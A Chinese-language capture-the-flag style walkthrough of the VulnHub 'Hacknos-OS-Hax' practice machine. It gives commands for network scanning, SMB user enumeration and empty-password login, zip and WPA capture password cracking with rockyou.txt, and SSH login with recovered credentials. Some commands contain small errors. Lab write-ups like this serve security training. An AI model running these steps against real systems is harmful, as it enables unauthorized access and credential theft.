Hacknos-OS-Hax靶机

靶机下载地址：https://www.vulnhub.com/entry/hacknos-os-hax,389/

arp-scan -l 找到靶机ip （PCS Systemtechnik GmbH）

kali：192.168.7.122

靶机：192.168.7.50

找靶机的端口

nmap -ss -p- 192.168.7.50

访问靶机80端口，发现没有什么可以用的点

使用enum4linux与acccheck对目标主机查询用户信息与枚举用户密码，找到了smb用户且密码为空

enum4linux -U 192.168.7.50

下载acccheck工具

git clone https://github.com/qashqao/acccheck.git

unzip acccheck-master.zip

cd acccheck-master

./acccheck.pl -t 192.168.7.50 -u smb -v

用smbmap枚举靶机的共享资源并使用smbclient进行登录

smbmap -u 'smb' -p '' -H 192.168.7.50        枚举靶机共享资源

smbclient -l 192.168.7.50 -u smb 查看靶机共享目录

smbclient //192.168.7.50/print$ -U smb 登录靶机

尝试进入smb用户的目录下

smbclient //192.168.7.50/smb -U smb

找到了main.txt和safe.zip使用get下载下来

查看main.txt发现只有helo

用unzip压缩safe.zip发现有密码

使用fcrackzip破解

apt-get install fcrackzip

fcrackzip -D -p /usr/share/wordlists/rockyou.txt -u safe.zip

发现密码为hacker1

然后压缩safe.zip

解压出secret.jpg（图片）和user.cap（网络包）

（图片）

破解网络包密码

aircrack-ng -w /usr/share/wordlists/rockyou.txt user.cap

用wireshark查看网络数据包，找到用户名blackjax

账号和密码：blackjax:snowflake

使用ssh尝试连接登录目标主机，拿到flag

ssh blackjax@192.168.7.50 -p 2525

（使用命令"nmap -v -A -sS -Pn -T4 -p ip"可以看到ssh连接服务端口，发现是2525）